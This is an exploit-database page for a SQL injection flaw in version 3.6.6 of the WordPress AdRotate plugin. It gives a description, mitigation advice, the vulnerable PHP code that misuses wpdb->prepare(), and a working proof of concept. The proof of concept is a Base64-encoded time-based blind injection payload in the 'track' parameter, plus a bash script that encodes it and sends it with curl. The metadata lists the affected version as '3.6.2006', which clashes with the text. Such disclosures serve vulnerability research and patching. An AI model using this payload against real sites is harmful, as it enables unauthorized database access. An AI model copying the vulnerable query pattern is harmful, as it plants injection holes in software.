WordPress AdRotate plugin - exploit.company

vendor:

AdRotate

by:

Miroslav Stampar

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: AdRotate

Affected Version From: 3.6.2006

Affected Version To: 3.6.2006

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:adrotate

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2011

WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability

The WordPress AdRotate plugin version 3.6.6 is vulnerable to a SQL injection vulnerability due to incorrect usage of the wpdb->prepare() function. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with a Base64 encoded payload in the 'track' parameter. This will allow the attacker to execute arbitrary SQL queries on the underlying database.

Mitigation:

Upgrade to the latest version of the WordPress AdRotate plugin.

Source

Exploit-DB raw data:

# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
# Date: 2011-11-8
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip
# Version: 3.6.6 (tested)
# Note: parameter $_GET["track"] has to be Base64 encoded

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj

e.g.
#!/bin/bash
payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0`
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded

---------------
Vulnerable code
---------------

if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = base64_decode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare()